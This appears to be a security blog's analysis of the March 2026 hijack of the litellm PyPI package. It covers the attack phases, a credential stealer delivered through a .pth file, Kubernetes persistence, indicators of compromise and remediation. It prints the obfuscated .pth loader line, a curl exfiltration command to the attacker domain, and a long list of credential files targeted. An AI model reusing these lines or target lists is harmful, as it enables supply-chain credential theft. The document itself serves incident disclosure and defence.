BLOG

TeamPCP Hijacks LiteLLM's PyPI Package

TeamPCP compromised the LiteLLM maintainer's PyPI account and published malicious versions that steal credentials from every Python process on the host.

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

TeamPCP Hijacks LiteLLM's PyPI Package

On March 24, 2026, multiple security researchers (including OpenSourceMalware) independently identified malicious code in the litellm PyPI package, a popular Python SDK and AI gateway proxy with over 40k GitHub stars. The threat actor TeamPCP hijacked the PyPI maintainer account and published malicious package versions containing a credential stealer that executes on every Python startup — no import required.

LiteLLM sits at the heart of the AI infrastructure stack — used by teams running LLM applications in production. A credential stealer in this package doesn't just steal API keys; it steals the keys to cloud infrastructure, Kubernetes clusters, and CI/CD pipelines. The blast radius of this attack is significant and still being assessed.

This is the same threat actor behind the aquasec-com GitHub organization compromise we reported on March 23, and represents a significant escalation: from org defacement to a weaponized supply chain attack targeting the AI/LLM developer ecosystem.

The attack was discovered through three vectors:

  • A user installing nanobot-ai (which depends on litellm) found litellm_init.pth in their site-packages/ directory

  • Direct analysis of the litellm==1.82.8 wheel revealed the malicious .pth file listed in the package's own RECORD

  • The BerriAI GitHub organization showed signs of defacement — 15 repos with descriptions changed to "teampcp owns BerriAI"

TeamPCP has graduated from defacement to weaponized supply chain attacks. The kill chain is clear: compromise Trivy's GitHub Actions to harvest credentials, use those credentials to compromise downstream projects, and use those projects to distribute credential stealers at scale.

The .pth file technique is particularly insidious — it executes on every Python startup, not just when litellm is imported. Any developer or CI runner that installed the affected version had credentials silently exfiltrated, even if they never used litellm in that session.

Attack tl;dr

  • Threat Actor: TeamPCP (aka DeadCatx3, PCPcat, ShellForce, CanisterWorm)

  • Target: LiteLLM (litellm) PyPI package — 40k+ GitHub stars, widely used AI gateway

  • Attack: Maintainer's PyPI account hijacked, malicious versions 1.82.7 and 1.82.8 published

  • Payload: litellm_init.pth — a .pth file that auto-executes on every Python startup, steals all credentials, and exfiltrates to attacker infrastructure

  • Exfil Domain: models.litellm.cloud (registered March 23 via Spaceship, IP 46.151.182.203 — Ghosty Networks, Luxembourg)

  • Status: PyPI has quarantined the entire litellm project. BerriAI GitHub org partially defaced. Maintainer's personal GitHub account also compromised.

The attack chain

Phase 1: Domain Registration (March 23, ~16:32 UTC)

The attacker registered litellm.cloud via Spaceship, Inc. — a domain designed to impersonate LiteLLM's legitimate litellm.ai domain. This became the exfiltration endpoint.

Domain:    litellm.cloud
Created:   2026-03-23T16:32:04Z
Registrar: Spaceship, Inc.
IP:        46.151.182.203
ASN:       AS205759 Ghosty Networks LLC (Luxembourg)

Phase 2: PyPI Account Hijack & Malicious Package Publication (March 23-24)

The attacker compromised the PyPI account of krrishdholakia (Krrish Dholakia, Co-Founder & CEO of LiteLLM, YC W23) and published two malicious versions directly to PyPI — bypassing the project's GitHub CI/CD release pipeline entirely.

GitHub releases only go up to v1.82.6.dev1. Versions 1.82.7 and 1.82.8 on PyPI were uploaded directly by the attacker.

Version

Attack Method

Trigger

1.82.7

Payload embedded in litellm/proxy/proxy_server.py

Triggered on import litellm.proxy

1.82.8

Added litellm_init.pth (34,628 bytes) + payload in proxy_server.py

Any Python startup — no import needed

The escalation from 1.82.7 to 1.82.8 is notable: the attacker realized that embedding the payload in proxy_server.py required an explicit import, so they added a .pth file — which Python's site module executes automatically on every interpreter startup.

Phase 3: GitHub Org Defacement (March 24, 12:56 UTC)

Fifteen BerriAI repos were defaced with the description "teampcp owns BerriAI" in a 3-second automated burst between 12:56:41 and 12:56:44 UTC.

Phase 4: Personal GitHub Account Takeover (March 24, 12:59-13:01 UTC)

The attacker pushed to 182 personal repositories belonging to krrishdholakia in a 2-minute window. Every push replaced the README with a single line:

teampcp owns BerriAI

Commit message: teampcp update Committer: Krish Dholakia <krrishdholakia@gmail.com>

This confirms full access to the maintainer's GitHub PAT — not just org-level access.

Phase 5: Issue Spam Campaign (March 24, ~13:53 UTC)

Over 50 bot accounts simultaneously posted comments on the security disclosure issues in the litellm repo, attempting to bury the legitimate security reports with noise.

What the malware does

How It Executes

The litellm_init.pth file exploits Python's .pth file mechanism. Any file ending in .pth placed in site-packages/ is processed by Python's site module on startup. If a line starts with import, it's executed as Python code.

The first line of litellm_init.pth:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

This spawns a background process (silent, no stdout/stderr) that decodes and executes a double base64-encoded payload.

What It Steals

The payload is a comprehensive credential harvester. It collects:

Cloud Credentials:

  • AWS: ~/.aws/credentials, ~/.aws/config, IMDS token + security credentials via 169.254.169.254, Secrets Manager secrets, Systems Manager parameters

  • GCP: ~/.config/gcloud/application_default_credentials.json, service account keys, GOOGLE_APPLICATION_CREDENTIALS

  • Azure: ~/.azure/ directory, Azure environment variables

  • Kubernetes: ~/.kube/config, /etc/kubernetes/*.conf, service account tokens, all cluster secrets across all namespaces

Development Credentials:

  • SSH keys: ~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa, authorized_keys, config

  • Git: ~/.gitconfig, ~/.git-credentials

  • Docker: ~/.docker/config.json, /kaniko/.docker/config.json

  • Package managers: ~/.npmrc, ~/.vault-token, ~/.netrc

System Information:

  • hostname, whoami, uname -a, ip addr, ip route

  • All environment variables via printenv (captures API keys like OPENAI_API_KEY, ANTHROPIC_API_KEY, etc.)

  • Shell history: ~/.bash_history, ~/.zsh_history, ~/.psql_history

CI/CD Secrets:

  • terraform.tfvars, terraform.tfstate (state files with secrets)

  • .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml, Anchor.toml, ansible.cfg

Crypto Wallets (10+ platforms):

  • Bitcoin (~/.bitcoin/bitcoin.conf, wallet*.dat)

  • Ethereum (~/.ethereum/keystore/*)

  • Solana (validator-keypair.json, vote-account-keypair.json — deep recursive search of /home/sol/, /opt/solana/)

  • Cardano (*.skey, *.vkey)

  • Monero, Litecoin, Dogecoin, Zcash, Dash, Ripple

SSL/TLS Private Keys:

  • /etc/ssl/private/, Let's Encrypt certs, .pem, .key, .p12, .pfx files

Database Credentials:

  • MySQL (/etc/mysql/my.cnf, ~/.my.cnf)

  • PostgreSQL (~/.pgpass, /var/lib/postgresql/.pgpass)

  • Redis (/etc/redis/redis.conf)

  • MongoDB (~/.mongorc.js), LDAP, SMTP configs

Environment Files (recursive search):

  • .env, .env.local, .env.production, .env.development, .env.staging, .env.test

  • Searches for Slack/Discord webhook URLs and API keys in JSON/YAML/ENV files

System Reconnaissance:

  • /etc/passwd, /etc/shadow, login logs from /var/log/auth.log

SSL/TLS Private Keys:

  • /etc/ssl/private/, Let's Encrypt certificates

Database Credentials:

  • PostgreSQL, MySQL, Redis, LDAP config files

Encryption & Exfiltration

The collected data is encrypted with AES-256-CBC using a random session key, which is itself encrypted with a hardcoded RSA-4096 public key — ensuring only the attacker can decrypt the stolen data.

The encrypted bundle is exfiltrated via:

POST https://models.litellm.cloud/
Header: X-Filename: tpcp.tar.gz

The filename tpcp.tar.gz is the TeamPCP signature.

Kubernetes Cluster Takeover

The payload doesn't stop at credential theft. If it detects it's running inside a Kubernetes pod, it attempts a full cluster takeover:

  1. Detection — checks for a service account token at /var/run/secrets/kubernetes.io/serviceaccount/token

  2. Reconnaissance — uses the Kubernetes API to list all secrets across all namespaces and enumerate nodes

  3. Privilege escalation — for each node, creates a privileged pod in kube-system that mounts the host root filesystem, with hostPID: true and hostNetwork: true

  4. Persistence — the privileged pod escapes to the host and installs a backdoor at /host/root/.config/sysmon/sysmon.py with a systemd service for automatic restart on boot

The systemd service is disguised as "System Telemetry Service" (sysmon.service) — it auto-restarts if killed, suppresses all output, and checks a second C2 domain for commands:

https://checkmarx.zone/raw

This gives the attacker persistent root access to every node in the Kubernetes cluster, surviving pod restarts and redeployments.

Persistence Mechanisms

Beyond the Kubernetes escape, the malware installs persistence on any Linux system:

  • Systemd user service: ~/.config/systemd/user/sysmon.service — auto-starts on boot, restarts every 10 seconds if killed

  • Backdoor script: ~/.config/sysmon/sysmon.py — beacons to checkmarx.zone/raw for commands

  • Kubernetes host persistence: /host/root/.config/sysmon/sysmon.py — installed via privileged pod escape

Connection to Prior Compromises

This attack is directly linked to TeamPCP's prior campaigns:

The Trivy → Aqua Security → LiteLLM Kill Chain

  1. Trivy GitHub Actions tag compromise — TeamPCP poisoned Trivy action tags with a credential harvester ("TeamPCP Cloud stealer")

  2. Aquasec-com org defacement (March 22) — Using tokens stolen from Trivy CI runners, TeamPCP defaced Aqua Security's internal GitHub org (our analysis)

  3. LiteLLM supply chain attack (March 23-24) — BerriAI's CI/CD uses Trivy for scanning. The maintainer's PyPI token and GitHub PAT were likely harvested from CI runners during the Trivy compromise

The community has confirmed this connection — BerriAI/litellm's CI pipeline includes Trivy scanning, making it a downstream victim of the same credential harvesting campaign.

TeamPCP's Escalating Pattern

Date

Target

Attack Type

Early 2026

Trivy GitHub Actions

Tag poisoning + credential harvester

Feb 2026

NPM packages

CanisterWorm (ICP canister C2)

Mar 22

aquasec-com GitHub org

Org defacement via stolen service account token

Mar 22

Iranian infrastructure

Kubernetes wiper deployment

Mar 23-24

LiteLLM / BerriAI

PyPI supply chain attack + GitHub org/personal defacement

Indicators of Compromise (IOCs)

Exfiltration & C2 Infrastructure

models.litellm.cloud (exfil endpoint — registered 2026-03-23, Spaceship Inc.)
litellm.cloud (parent domain)
46.151.182.203 (AS205759 Ghosty Networks LLC, Luxembourg)
checkmarx.zone/raw (second C2 — persistence beacon for sysmon.py backdoor)

Malicious PyPI Packages

litellm==1.82.7
litellm==1.82.8

File Indicators

litellm_init.pth (SHA256: ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg, 34628 bytes)
~/.config/sysmon/sysmon.py (persistence backdoor)
~/.config/systemd/user/sysmon.service (persistence systemd service — "System Telemetry Service")
/host/root/.config/sysmon/sysmon.py (Kubernetes node persistence)

HTTP Indicators

POST https://models.litellm.cloud/
X-Filename: tpcp.tar.gz
Content-Type: application/octet-stream

IMDS Indicators (AWS credential theft)

169.254.169.254/latest/api/token
169.254.169.254/latest/meta-data/iam/security-credentials/

Attacker's RSA Public Key (embedded in payload)

-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+
08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV
pQWpiuQa+UjTkWmC8RDDXO8G/opLGQnuQVvgsZWuT31j/Qop6rtocYsayGzCFrMV
2/ElW1UE20tZWY+5jXonnMdWBmYwzYb5iwymbLtekGEydyLalNzGAPxZgAxgkbSE
mSHLau61fChgT9MlnPhCtdXkQRMrI3kZZ4MDPuEEJTSqLr+D3ngr3237G14SRRQB
IqIjly5OoFkqJxeNPSGJlt3Ino0qO7fy7LO0Tp9bFvXTOI5c+1lhgo0lScAu1ucA
b6Hua+xRQ6s//PzdMgWT3R1aK+TqMHJZTZa8HY0KaiFeVQ3YitWuiZ3ilwCtwhT5
TlS9cBYph8U2Ek4K20qmp1dbFmxm3kS1yQg8MmrBRxOYyjSTQtveSeIlxrbpJhaU
Z7eneYC4G/Wl3raZfFwoHtmpFXDxA7HaBUArznP55LD/rZd6gq7lTDrSy5uMXbVt
6ZnKd0IwHbLkYlX0oLeCNF6YOGhgyX9JsgrBxT0eHeGRqOzEZ7rCfCavDISbR5xK
J4VRwlUSVsQ8UXt6zIHqg4CKbrVB+WMsRo/FWu6RtcQHdmGPngy+Nvg5USAVljyk
rn3JMF0xZyXNRpQ/fZZxl40CAwEAAQ==
-----END PUBLIC KEY-----

Process Indicators

python* -c "import base64; exec(base64.b64decode(...))"
openssl rand -out /tmp/*/session.key
openssl enc -aes-256-cbc
openssl pkeyutl -encrypt
curl -s -X POST https://models.litellm.cloud/

GitHub Artifacts

BerriAI org: 15 repos defaced with "teampcp owns BerriAI"
krrishdholakia: 182 personal repos defaced with "teampcp owns BerriAI"
Commit message: "teampcp update"
Defacement timestamp: 2026-03-24T12:56-13:01 UTC

Prior Campaign IOCs (TeamPCP)

aquasecurtiy.org / scan.aquasecurtiy.org
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io (ICP canister C2)
championships-peoples-point-cassette.trycloudflare.com
investigation-launches-hearings-copying.trycloudflare.com
souls-entire-defined-routes.trycloudflare.com

Current Status

  • PyPI: The entire litellm project has been quarantined — all versions return "No matching distribution found"

  • GitHub org (BerriAI): 15 repos defaced, main litellm repo appears intact

  • GitHub personal (krrishdholakia): 182 repos defaced with README wipes

  • Hacker News: Active discussion at news.ycombinator.com/item?id=47501729

Remediation

If You Installed litellm 1.82.7 or 1.82.8

  1. Check immediately: Look for litellm_init.pth in your site-packages/ directory

  2. Rotate ALL credentials — every environment variable, API key, SSH key, cloud credential, and database password on affected systems

  3. Check for unauthorized access using any potentially leaked credentials

  4. Audit CI/CD runners — if litellm was installed in CI, all secrets from those runners are compromised

For All litellm Users

  1. Pin to a known-good version and verify against GitHub releases (not PyPI)

  2. Monitor PyPI for when the quarantine is lifted and a verified clean version is published

  3. Use pip download --no-deps and inspect wheels before installing

For the Ecosystem

  1. Pin GitHub Actions to commit SHAs, not tags — this is how the credential theft chain started

  2. Enable 2FA/hardware keys on PyPI accounts — especially for high-impact packages

  3. Separate CI/CD credentials — PyPI tokens should not be accessible from scanning steps

  4. Monitor for `.pth` files in site-packages — they execute on every Python startup

References